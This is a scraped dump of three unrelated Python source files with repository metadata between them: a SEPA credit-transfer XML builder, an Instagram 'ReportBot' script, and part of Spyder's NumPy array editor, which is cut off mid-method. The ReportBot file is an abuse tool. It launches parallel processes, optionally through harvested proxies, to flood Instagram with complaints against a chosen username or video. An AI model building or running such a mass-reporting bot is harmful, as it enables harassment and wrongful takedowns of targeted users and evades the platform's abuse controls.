def construct_tag_data(tag_name, attrs=None, value=None, sorting=None): data = { '_name': tag_name, '_attrs': attrs or [], '_value': value, } if sorting: data['_sorting'] = sorting return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return data def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return header def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return iban_data def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return bic_data def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value="%s %s" % (account.postcode, account.city)) addr_data['address'] = address return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i, payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] = transfer_information return payment_inf def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message'] = message return root

48.460317

116

0.601048

902

9,159

5.720621

0.174058

0.102326

0.136434

0.046512

0.242636

0.202907

0.175581

0.117054

0.086047

0

0.002314

0.292172

9,159

188

117

48.718085

0.793614

0

0.088889

0

0.007407

0.148395

0.012776

0

1

0.066667

false

0

0.133333

0

null

0

null

0

1

0

864bf69490c6ee45920463f0c6f8b0b6dbff18dc

4,624

py

Python

ReportBot.py

SeveNNoff/InstagramReportBot

0a613b5f2733d988a952d64d8141cb7390527b9e

[ "Apache-2.0" ]

1

2020-10-13T16:04:08.000Z

ReportBot.py

SeveNNoff/InstagramReportBot

0a613b5f2733d988a952d64d8141cb7390527b9e

[ "Apache-2.0" ]

null

ReportBot.py

SeveNNoff/InstagramReportBot

0a613b5f2733d988a952d64d8141cb7390527b9e

[ "Apache-2.0" ]

1

2021-04-17T04:42:29.000Z

# coding=utf-8 #!/usr/bin/env python3 from libs.check_modules import check_modules from sys import exit from os import _exit check_modules() from os import path from libs.logo import print_logo from libs.utils import print_success from libs.utils import print_error from libs.utils import ask_question from libs.utils import print_status from libs.utils import parse_proxy_file from libs.proxy_harvester import find_proxies from libs.attack import report_profile_attack from libs.attack import report_video_attack from multiprocessing import Process from colorama import Fore, Back, Style def chunks(lst, n): """Yield successive n-sized chunks from lst.""" for i in range(0, len(lst), n): yield lst[i:i + n] def profile_attack_process(username, proxy_list): if (len(proxy_list) == 0): for _ in range(10): report_profile_attack(username, None) return for proxy in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0): for _ in range(10): report_video_attack(video_url, None) return for proxy in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url = ask_question("Enter the link of the video you want to report") print(Style.RESET_ALL) if (len(proxies) == 0): for k in range(5): p = Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k + 1) + ". Transaction Opened!") if (k == 5): print() return chunk = list(chunks(proxies, 10)) print("") print_status("Video complaint attack is on!\n") i = 1 for proxy_list in chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) + ". Transaction Opened!") if (k == 5): print() i = i + 1 def profile_attack(proxies): username = ask_question("Enter the username of the person you want to report") print(Style.RESET_ALL) if (len(proxies) == 0): for k in range(5): p = Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k + 1) + ". Transaction Opened!") return chunk = list(chunks(proxies, 10)) print("") print_status("Profile complaint attack is starting!\n") i = 1 for proxy_list in chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) + ". Transaction Opened!") if (k == 5): print() i = i + 1 def main(): print_success("Modules loaded!\n") ret = ask_question("Would you like to use a proxy? [Y / N]") proxies = [] if (ret == "Y" or ret == "y"): ret = ask_question("Would you like to collect your proxies from the internet? [Y / N]") if (ret == "Y" or ret == "y"): print_status("Gathering proxy from the Internet! This may take a while.\n") proxies = find_proxies() elif (ret == "N" or ret == "n"): print_status("Please have a maximum of 50 proxies in a file!") file_path = ask_question("Enter the path to your proxy list") proxies = parse_proxy_file(file_path) else: print_error("Answer not understood, exiting!") exit() print_success(str(len(proxies)) + " Number of proxy found!\n") elif (ret == "N" or ret == "n"): pass else: print_error("Answer not understood, exiting!") exit() print("") print_status("1 - Report Profile.") print_status("2 - Report a video.") report_choice = ask_question("Please select the complaint method") print("") if (report_choice.isdigit() == False): print_error("The answer is not understood.") exit(0) if (int(report_choice) > 2 or int(report_choice) == 0): print_error("The answer is not understood.") exit(0) if (int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies) if __name__ == "__main__": print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print("\n\n" + Fore.RED + "[*] Program is closing!") print(Style.RESET_ALL) _exit(0)

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864d054eec7d0aab41c1311c42de1bf952355469

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py

Python

spyder/plugins/variableexplorer/widgets/arrayeditor.py

seryj/spyder

acea4f501c1a04d57b02e5e817708a69b503f430

[ "MIT" ]

null

spyder/plugins/variableexplorer/widgets/arrayeditor.py

seryj/spyder

acea4f501c1a04d57b02e5e817708a69b503f430

[ "MIT" ]

null

spyder/plugins/variableexplorer/widgets/arrayeditor.py

seryj/spyder

acea4f501c1a04d57b02e5e817708a69b503f430

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright © Spyder Project Contributors # Licensed under the terms of the MIT License # (see spyder/__init__.py for details) """ NumPy Array Editor Dialog based on Qt """ # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 # Standard library imports from __future__ import print_function # Third party imports from qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy as np # Local imports from spyder.config.base import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut from spyder.py3compat import (io, is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils import icon_manager as ima from spyder.utils.qthelpers import add_actions, create_action, keybinding # Note: string and unicode data types will be formatted with '%s' (see below) SUPPORTED_FORMATS = { 'single': '%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r', 'complex192': '%r', 'complex256': '%r', 'byte': '%d', 'bytes8': '%s', 'short': '%d', 'intc': '%d', 'int_': '%d', 'longlong': '%d', 'intp': '%d', 'int8': '%d', 'int16': '%d', 'int32': '%d', 'int64': '%d', 'ubyte': '%d', 'ushort': '%d', 'uintc': '%d', 'uint': '%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d', 'uint16': '%d', 'uint32': '%d', 'uint64': '%d', 'bool_': '%r', 'bool8': '%r', 'bool': '%r', } LARGE_SIZE = 5e5 LARGE_NROWS = 1e5 LARGE_COLS = 60 #============================================================================== # Utility functions #============================================================================== def is_float(dtype): """Return True if datatype dtype is a float kind""" return ('float' in dtype.name) or dtype.name in ['single', 'double'] def is_number(dtype): """Return True is datatype dtype is a number kind""" return is_float(dtype) or ('int' in dtype.name) or ('long' in dtype.name) \ or ('short' in dtype.name) def get_idx_rect(index_list): """Extract the boundaries from a list of indexes""" rows, cols = list(zip(*[(i.row(), i.column()) for i in index_list])) return ( min(rows), max(rows), min(cols), max(cols) ) #============================================================================== # Main classes #============================================================================== class ArrayModel(QAbstractTableModel): """Array Editor Table Model""" ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40 def __init__(self, data, format="%.6g", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes = {} self.xlabels = xlabels self.ylabels = ylabels self.readonly = readonly self.test_array = np.array([0], dtype=data.dtype) # for complex numbers, shading will be based on absolute value # but for all other types it will be the real part if data.dtype in (np.complex64, np.complex128): self.color_func = np.abs else: self.color_func = np.real # Backgroundcolor settings huerange = [.66, .99] # Hue self.sat = .7 # Saturation self.val = 1. # Value self.alp = .6 # Alpha-channel self._data = data self._format = format self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1] size = self.total_rows * self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin -= 1 self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError, ValueError): self.vmin = None self.vmax = None self.hue0 = None self.dhue = None self.bgcolor_enabled = False # Use paging when the total size, number of rows or number of # columns is too large if size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def get_format(self): """Return current format""" # Avoid accessing the private attribute _format from outside return self._format def get_data(self): """Return data""" return self._data def set_format(self, format): """Change display format""" self._format = format self.reset() def columnCount(self, qindex=QModelIndex()): """Array column number""" if self.total_cols <= self.cols_loaded: return self.total_cols else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()): """Array row number""" if self.total_rows <= self.rows_loaded: return self.total_rows else: return self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if rows: if self.total_rows > self.rows_loaded: return True else: return False if columns: if self.total_cols > self.cols_loaded: return True else: return False def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch - 1) self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch - 1) self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self, state): """Toggle backgroundcolor""" self.bgcolor_enabled = state > 0 self.reset() def get_value(self, index): i = index.row() j = index.column() if len(self._data.shape) == 1: value = self._data[j] else: value = self._data[i, j] return self.changes.get((i, j), value) def data(self, index, role=Qt.DisplayRole): """Cell content""" if not index.isValid(): return to_qvariant() value = self.get_value(index) if is_binary_string(value): try: value = to_text_string(value, 'utf8') except: pass if role == Qt.DisplayRole: if value is np.ma.masked: return '' else: try: return to_qvariant(self._format % value) except TypeError: self.readonly = True return repr(value) elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and self.bgcolor_enabled \ and value is not np.ma.masked: try: hue = (self.hue0 + self.dhue * (float(self.vmax) - self.color_func(value)) / (float(self.vmax) - self.vmin)) hue = float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color) except TypeError: return to_qvariant() elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index, value, role=Qt.EditRole): """Cell content change""" if not index.isValid() or self.readonly: return False i = index.row() j = index.column() value = from_qvariant(value, str) dtype = self._data.dtype.name if dtype == "bool": try: val = bool(float(value)) except ValueError: val = value.lower() == "true" elif dtype.startswith("string") or dtype.startswith("bytes"): val = to_binary_string(value, 'utf8') elif dtype.startswith("unicode") or dtype.startswith("str"): val = to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'): return False try: val = complex(value) if not val.imag: val = val.real except ValueError as e: QMessageBox.critical(self.dialog, "Error", "Value error: %s" % str(e)) return False try: self.test_array[0] = val # will raise an Exception eventually except OverflowError as e: print("OverflowError: " + str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, "Error", "Overflow error: %s" % str(e)) return False # Add change to self.changes self.changes[(i, j)] = val self.dataChanged.emit(index, index) if not is_string(val): if val > self.vmax: self.vmax = val if val < self.vmin: self.vmin = val return True def flags(self, index): """Set editable flag""" if not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole): """Set header data""" if role != Qt.DisplayRole: return to_qvariant() labels = self.xlabels if orientation == Qt.Horizontal else self.ylabels if labels is None: return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): """Array Editor Item Delegate""" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype = dtype def createEditor(self, parent, option, index): """Create editor widget""" model = index.model() value = model.get_value(index) if model._data.dtype.name == "bool": value = not value model.setData(index, to_qvariant(value)) return elif value is not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): """Commit and close editor""" editor = self.sender() # Avoid a segfault with PyQt5. Variable value won't be changed # but at least Spyder won't crash. It seems generated by a bug in sip. try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): """Set editor widget's data""" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement "Paste" (from clipboard) feature class ArrayView(QTableView): """Array view class""" def __init__(self, parent, model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for k in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False, columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None if rows and value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not None or old_cols_loaded is not None: # if we've changed anything, update selection new_selection = QItemSelection() for part in old_selection: top = part.top() bottom = part.bottom() if (old_rows_loaded is not None and top == 0 and bottom == (old_rows_loaded-1)): # complete column selected (so expand it to match # updated range) bottom = self.model().rows_loaded-1 left = part.left() right = part.right() if (old_cols_loaded is not None and left == 0 and right == (old_cols_loaded-1)): # compete row selected (so expand it to match updated # range) right = self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right = self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed to handle a NameError while fetching data when closing # See isue 7880 pass def resize_to_contents(self): """Resize cells to contents""" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): """Setup context menu""" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action, ]) return menu def contextMenuEvent(self, event): """Reimplement Qt method""" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): """Reimplement Qt method""" if event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): """Copy an array portion to a unicode string""" if not cell_range: return row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if col_min == 0 and col_max == (self.model().cols_loaded-1): # we've selected a whole column. It isn't possible to # select only the first part of a column without loading more, # so we can treat it as intentional and copy the whole thing col_max = self.model().total_cols-1 if row_min == 0 and row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data = self.model().get_data() if PY3: output = io.BytesIO() else: output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _("Warning"), _("It was not possible to copy values for " "this array")) return contents = output.getvalue().decode('utf-8') output.close() return contents @Slot() def copy(self): """Copy text to clipboard""" cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data = data self.old_data_shape = None if len(self.data.shape) == 1: self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape) == 0: self.old_data_shape = self.data.shape self.data.shape = (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self, self.model, data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( "Format")) # disable format button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( "Resize")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): """Accept changes""" for (i, j), value in list(self.model.changes.items()): self.data[i, j] = value if self.old_data_shape is not None: self.data.shape = self.old_data_shape def reject_changes(self): """Reject changes""" if self.old_data_shape is not None: self.data.shape = self.old_data_shape def change_format(self): """Change display format""" format, valid = QInputDialog.getText(self, _( 'Format'), _( "Float formatting"), QLineEdit.Normal, self.model.get_format()) if valid: format = str(format) try: format % 1.1 except: QMessageBox.critical(self, _("Error"), _("Format (%s) is incorrect") % format) return self.model.set_format(format) class ArrayEditor(QDialog): """Array Editor Dialog""" def __init__(self, parent=None): QDialog.__init__(self, parent) # Destroying the C++ object right after closing the dialog box, # otherwise it may be garbage-collected in another QThread # (e.g. the editor's analysis thread in Spyder), thus leading to # a segmentation fault on UNIX or an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget = None self.stack = None self.layout = None self.btn_save_and_close = None self.btn_close = None # Values for 3d array editor self.dim_indexes = [{}, {}, {}] self.last_dim = 0 # Adjust this for changing the startup dimension def setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None): """ Setup ArrayEditor: return False if data is not supported, True otherwise """ self.data = data readonly = readonly or not self.data.flags.writeable is_record_array = data.dtype.names is not None is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim > 3: self.error(_("Arrays with more than 3 dimensions are not " "supported")) return False if xlabels is not None and len(xlabels) != self.data.shape[1]: self.error(_("The 'xlabels' argument length do no match array " "column number")) return False if ylabels is not None and len(ylabels) != self.data.shape[0]: self.error(_("The 'ylabels' argument length do no match array row " "number")) return False if not is_record_array: dtn = data.dtype.name if dtn not in SUPPORTED_FORMATS and not dtn.startswith('str') \ and not dtn.startswith('unicode'): arr = _("%s arrays") % data.dtype.name self.error(_("%s are currently not supported") % arr) return False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title) + " - " + _("NumPy array") else: title = _("Array editor") if readonly: title += ' (' + _('read only') + ')' self.setWindowTitle(title) self.resize(600, 500) # Stack widget self.stack = QStackedWidget(self) if is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons configuration btn_layout = QHBoxLayout() if is_record_array or is_masked_array or data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_("Record array fields:"))) names = [] for name in data.dtype.names: field = data.dtype.fields[name] text = name if len(field) >= 3: title = field[2] if not is_text_string(title): title = repr(title) text += ' - '+title names.append(text) else: names = [_('Masked data'), _('Data'), _('Mask')] if data.ndim == 3: # QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i) for i in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to layout label = QLabel(_("Axis:")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_("Index:")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set the widget to display when launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_("Warning: changes are applied separately")) label.setToolTip(_("For performance reasons, changes applied "\ "to masked array won't be reflected in "\ "array's data (and vice-versa).")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) # Make the dialog act as a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right): """Handle the data change event to enable the save and close button.""" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): """ This is implemented for handling negative values in index for 3d arrays, to give the same behavior as slicing """ string_index = [':']*3 string_index[self.last_dim] = '%i' self.slicing_label.setText((r"Slicing: [" + ", ".join(string_index) + "]") % index) if index < 0: data_index = self.data.shape[self.last_dim] + index else: data_index = index slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: # Handle arrays of size 0 in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): """ This change the active axis the array editor is plotting over in 3D """ self.last_dim = index string_size = ['%i']*3 string_size[index] = '%i' self.shape_label.setText(('Shape: (' + ', '.join(string_size) + ') ') % self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0) else: # this is done since if the value is currently 0 it does not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): """Reimplement Qt method""" for index in 